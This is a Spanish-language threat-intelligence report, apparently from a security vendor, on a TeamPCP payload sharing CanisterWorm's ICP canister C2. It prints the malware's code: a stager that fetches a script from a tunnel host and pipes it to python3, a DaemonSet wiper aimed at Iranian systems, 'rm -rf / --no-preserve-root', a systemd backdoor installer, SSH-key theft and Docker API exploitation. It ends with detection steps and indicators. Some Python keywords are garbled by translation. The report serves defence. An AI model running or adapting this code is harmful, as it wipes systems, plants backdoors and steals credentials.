Hemos encontrado una nueva carga útil en el arsenal de TeamPCP, y esta no solo roba credenciales o instala puertas traseras. Borra clústeres de Kubernetes enteros.
El script utiliza el mismo canister ICP (tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io) que documentamos en la campaña CanisterWorm. Mismo C2, mismo código de puerta trasera, misma /tmp/pglog ruta de entrega. El movimiento lateral nativo de Kubernetes a través de DaemonSets es consistente con el playbook conocido de TeamPCP, pero esta variante añade algo que no habíamos visto antes: una carga útil destructiva dirigida geopolíticamente y específicamente a sistemas iraníes.
Detalles de alto nivel
Dado que la entrada del blog contiene muchos detalles técnicos, aquí tiene un resumen de las observaciones más importantes que hemos realizado:
- 🐙 Mismo C2 de canister ICP que CanisterWorm (
tdtqy-oyaaa-aaaae-af2dq-cai) - 🎯 El payload comprueba la zona horaria y la configuración regional para identificar sistemas iraníes
- ☸️ En Kubernetes: despliega DaemonSets privilegiados en todos los nodos, incluido el plano de control
- 💀 Los nodos iraníes son borrados y reiniciados forzosamente a través de un contenedor llamado
kamikaze - 🔒 Los nodos no iraníes instalan la puerta trasera CanisterWorm como un servicio systemd
- 💀 Los nodos iraníes son borrados y reiniciados forzosamente a través de un contenedor llamado
- 💣 Los hosts iraníes que no son K8s obtienen
rm -rf / --no-preserve-root - 🐘 Persistencia disfrazada de herramientas de PostgreSQL:
pglog,pg_state,internal-monitor - 🔄 Múltiples dominios de túnel de Cloudflare observados rotando como infraestructura de entrega de payloads
- 🪱 La última variante añade movimiento lateral basado en red
- 🔑 Propagación de SSH mediante claves robadas y análisis de logs de autenticación
- 🐳 Exploits expusieron APIs de Docker en el puerto 2375 a través de la subred local
El stager
Al principio, observamos que simplemente apuntaba a https://souls-entire-defined-routes[.]trycloudflare.com/kamikaze.sh , que contenía una única carga útil. Más tarde, dividió la carga útil en dos archivos, como se muestra a continuación.
#!/usr/bin/env bash
set -euo pipefail
if ! command -v kubectl &>/dev/null; then
ARCH="amd64"
[[ "$(uname -m)" == "aarch64" ]] && ARCH="arm64"
curl -L -s "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/${ARCH}/kubectl" -o /tmp/kubectl
chmod +x /tmp/kubectl
export PATH="/tmp:$PATH"
fi
PY_URL="https://souls-entire-defined-routes.trycloudflare[.]com/kube.py"
curl -L -s "$PY_URL" | python3 -
rm -- "$0"Lo que se puede observar es que descarga kubectl si no está ya instalado. Luego descarga kube.py del mismo host, y lo ejecuta, antes de borrarse a sí mismo. El código realmente interesante está contenido ahí. Aquí están las últimas líneas del script, que describen claramente la intención del código, y que desglosaremos a continuación:
si __name__ == "__main__":
si is_k8s():
si is_iran():
deploy_destructive_ds()
else:
deploy_std_ds()
else:
si is_iran():
poison_pill()
sys.exit(1)Cómo elige su objetivo
Lo primero que hace la carga útil es averiguar dónde se está ejecutando. Dos comprobaciones:
def is_k8s():
return os.path.exists("/var/run/secrets/kubernetes.io/serviceaccount") or \
"KUBERNETES_SERVICE_HOST" en os.environDetección estándar de pods de Kubernetes. Cada pod obtiene una cuenta de servicio montada por defecto.
Luego esto:
def is_iran():
tz = ""
si os.path.exists("/etc/timezone"):
con abrir("/etc/timezone", "r") como f:
tz = f.read().strip()
else:
intentar:
tz = subprocess.check_output(["timedatectl", "show", "--property=Timezone", "--value"],
stderr=subprocess.DEVNULL).decode().strip()
excepto:
pass
lang = os.environ.get("LANG", "")
return tz en ["Asia/Teherán", «Irán»] o «fa_IR» en langComprueba la zona horaria y la configuración regional del sistema. Si la máquina está configurada para Irán (Asia/Tehran, Iran, o fa_IR), la carga útil sigue un camino muy diferente.
Cuatro caminos, un script
El árbol de decisión es simple y brutal:
- Kubernetes + Irán: Despliega un DaemonSet que borra cada nodo del clúster
- Kubernetes + otro lugar: Despliega un DaemonSet que instala la puerta trasera CanisterWorm en cada nodo
- Sin Kubernetes + Irán:
rm -rf / --no-preserve-root - Sin Kubernetes + otro lugar: Salir. No ocurre nada.
El borrador: «kamikaze»
El DaemonSet dirigido a Irán se llama host-provisioner-iran. El contenedor en su interior se llama kamikaze. Sutil, no lo es.
def deploy_destructive_ds():
ds_name = "host-provisioner-iran"
if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
return
yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: {ds_name}
namespace: kube-system
spec:
selector:
matchLabels:
name: {ds_name}
template:
metadata:
labels:
name: {ds_name}
spec:
hostNetwork: true
hostPID: true
tolerations:
- operator: Exists
containers:
- name: kamikaze
image: alpine:latest
securityContext:
privileged: true
command: ["/bin/sh", "-c"]
args:
- |
find /mnt/host -maxdepth 1 -not -name 'mnt' -exec rm -rf {{}} + || true
chroot /mnt/host reboot -f
volumeMounts:
- name: host-root
mountPath: /mnt/host
volumes:
- name: host-root
hostPath:
path: /
"""
subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())El DaemonSet monta el sistema de archivos raíz del host en /mnt/host, elimina todo en el nivel superior y luego fuerza un reinicio. Al ser un DaemonSet con tolerations: [operator: Exists], se programa en cada nodo del clúster, incluido el plano de control. Un kubectl apply y todo el clúster queda inutilizable.
La ruta de persistencia
Para objetivos no iraníes, el DaemonSet (host-provisioner-std) es menos drástico pero más útil operativamente. Escribe el backdoor CanisterWorm en cada nodo y lo registra como un servicio systemd:
def deploy_std_ds():
ds_name = "host-provisioner-std"
if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
return
yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: {ds_name}
namespace: kube-system
spec:
selector:
matchLabels:
name: {ds_name}
template:
metadata:
labels:
name: {ds_name}
spec:
hostNetwork: true
hostPID: true
tolerations:
- operator: Exists
containers:
- name: provisioner
image: alpine:latest
securityContext:
privileged: true
command: ["/bin/sh", "-c"]
args:
- |
mkdir -p /mnt/host{CONFIG['TARGET_DIR']}
echo '{CONFIG['PYTHON_B64']}' | base64 -d > /mnt/host{CONFIG['TARGET_DIR']}/runner.py
cat <<EOF_UNIT > /mnt/host/etc/systemd/system/{CONFIG['SVC_NAME']}.service
[Unit]
Description=System Monitor
After=network.target
[Service]
ExecStart=/usr/bin/python3 {CONFIG['TARGET_DIR']}/runner.py
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.target
EOF_UNIT
chroot /mnt/host systemctl daemon-reload
chroot /mnt/host systemctl enable --now {CONFIG['SVC_NAME']}
sleep infinity
volumeMounts:
- name: host-root
mountPath: /mnt/host
volumes:
- name: host-root
hostPath:
path: /
"""
subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())El backdoor es el mismo que documentamos en la publicación de CanisterWorm. Sondea el canister ICP cada 50 minutos en busca de una URL binaria, descarga y ejecuta lo que se le indique. El youtube[.]com kill switch sigue presente.
La "poison pill"
Para sistemas iraníes no Kubernetes, el enfoque es más rudimentario:
def poison_pill():
cmd = "rm -rf / --no-preserve-root"
if os.getuid() == 0:
os.system(cmd)
else:
os.system(f"sudo -n {cmd} 2>/dev/null || {cmd}")Si es root, borra el sistema. Si no, intenta sudo sin contraseña y luego lo intenta de todos modos. Incluso sin root, destruirá todo lo que posea el usuario.
Por qué esto importa
TeamPCP ha sido documentado como un actor de amenazas nativo de la nube desde finales de 2025, dirigido a APIs de Docker mal configuradas, clústeres de Kubernetes y pipelines de CI/CD. Su playbook (huella digital del entorno, ramificación específica de Kubernetes) ha sido consistente. Pero el compromiso de Trivy y la campaña CanisterWorm demostraron que podían operar a escala de cadena de suministro, y esta carga útil muestra que están preparados para ser destructivos cuando lo deseen.
Qué buscar
Busque DaemonSets en kube-system que no haya creado:
kubectl get ds -n kube-systemBusque host-provisioner-iran o host-provisioner-std. También audite cualquier DaemonSet que monte hostPath: / con un contexto de seguridad privilegiado. Esa combinación nunca debería aparecer fuera de agentes a nivel de infraestructura como el propio kubelet.
En el lado del host, busque:
- Un servicio systemd llamado
internal-monitor(systemctl status internal-monitor) - Archivos en
/var/lib/svc_internal/runner.py - Procesos llamados
pglogES/tmp/ - Conexiones salientes a
icp0[.]iodominios
Actualización: Ahora se propaga
Acaba de aparecer una tercera iteración del payload, alojada en https://championships-peoples-point-cassette.trycloudflare[.]com/prop.py La misma puerta trasera del canister ICP, el mismo wiper de Irán, pero este no necesita Kubernetes. Se propaga por sí solo.
Las versiones anteriores dependían de DaemonSets para moverse por un clúster. Esta variante elimina eso por completo y lo reemplaza con dos métodos de movimiento lateral: el robo de claves SSH y la explotación de la API de Docker expuesta. También escanea la subred local /24 en busca de nuevos objetivos.
Así es como encuentra máquinas para atacar:
def get_accepted_targets():
targets = {}
for path in ["/var/log/auth.log", "/var/log/secure"]:
if os.path.exists(path):
try:
with open(path, "r") as f:
for line in f:
if "Accepted" in line:
match = re.search(r'Accepted \S+ for (\S+) from (\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)', line)
if match:
user, ip = match.groups()
if ip not in targets: targets[ip] = []
if user not in targets[ip]: targets[ip].append(user)
except: pass
return targetsAnaliza /var/log/auth.log y /var/log/secure en busca de inicios de sesión SSH exitosos, extrayendo tanto el nombre de usuario como la IP de origen. Estos se convierten en pares de propagación dirigidos. Para cualquier IP que encuentre en la subred que no estuviera en los registros de autenticación, recurre a intentar root, ubuntu, administrador, y ec2-user.
Luego, obtiene todas las claves privadas SSH que puede encontrar:
keys = []
ssh_base = os.path.expanduser("~/.ssh")
for t in ["id_rsa", "id_ed25519", "id_ecdsa"]:
p = os.path.join(ssh_base, t)
si os.path.exists(p): keys.append(p)Para cada objetivo, comprueba dos puertos. El puerto 22 recibe la propagación SSH:
cmd = ["ssh", "-o", "StrictHostKeyChecking=no", "-o", "PasswordAuthentication=no",
"-o", "ConnectTimeout=5", "-i", k, f"{user}@{ip}",
f"echo {b64_logic} | base64 -d | bash"]El puerto 2375 recibe la explotación de la API de Docker, creando un contenedor privilegiado con la raíz del host montada:
payload = {
"Image": "alpine:latest",
"Cmd": ["/bin/sh", "-c", f"chroot /mnt/host /bin/sh -c '{logic}'"],
"HostConfig": {"Binds": ["/:/mnt/host"], "Privileged": True, "NetworkMode": "host"}
}
conn.request("POST", "/containers/create", json.dumps(payload), {"Content-Type": "application/json"})Ambos caminos entregan el mismo get_remote_logic() payload, que ejecuta la comprobación de la zona horaria de Irán en el host remoto. Los objetivos iraníes son eliminados, todos los demás reciben la pgmon.py puerta trasera instalada como un servicio systemd.
El wiper en sí cambió. Las versiones anteriores utilizaban rm -rf / --no-preserve-root en hosts que no eran K8s, mientras que la variante DaemonSet utilizaba find / -maxdepth 1 ... -exec rm -rf {} + con un reinicio forzado. Esta versión estandariza el find enfoque con reboot -f en todos los ámbitos:
find / -maxdepth 1 -not -name 'mnt' -exec rm -rf {} + || true; reboot -fEsto proviene directamente de las herramientas anteriores de TeamPCP proxy.sh y pcpcat.py donde escaneaban en busca de APIs de Docker expuestas y distribuían claves SSH por las subredes. La diferencia es que esas herramientas eran scripts autónomos para la construcción de infraestructura. Esta lleva consigo la puerta trasera CanisterWorm y el wiper Iran.
Algunos otros cambios respecto a las versiones anteriores: el nombre del servicio se movió de internal-monitor con pgmonitor, la ruta de instalación se movió de /var/lib/svc_internal/ con /var/lib/pgmon/, y la descripción de systemd ahora es "Postgres Monitor Service". El camuflaje de PostgreSQL es cada vez más consistente.
Indicadores de Compromiso
Red
tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io(punto de entrega C2 de canister ICP)https://souls-entire-defined-routes.trycloudflare[.]com/(entrega de payload, primera)https://investigation-launches-hearings-copying.trycloudflare[.]com/(entrega de payload, segunda)https://championships-peoples-point-cassette.trycloudflare[.]com(entrega de payload, tercera)
Kubernetes
- DaemonSet
host-provisioner-iranESkube-system - DaemonSet
host-provisioner-stdESkube-system - Nombres de los contenedores:
kamikaze,aprovisionador
Host
/var/lib/svc_internal/runner.py/etc/systemd/system/internal-monitor.service/tmp/pglog/tmp/.pg_state/var/lib/pgmon/pgmon.py/etc/systemd/system/pgmonitor.service- Servicio Systemd:
pgmonitor(Descripción: "Servicio de monitorización de Postgres") - Servicio Systemd:
internal-monitor
Indicadores de movimiento lateral
- Conexiones SSH salientes con
StrictHostKeyChecking=nodesde hosts comprometidos - Conexiones salientes al puerto 2375 (API de Docker) a través de la subred local
- Contenedores Alpine privilegiados creados a través de la API de Docker no autenticada con
hostPath: /montaje de tipo bind
... Noticia en desarrollo. Manténgase atento a las actualizaciones.

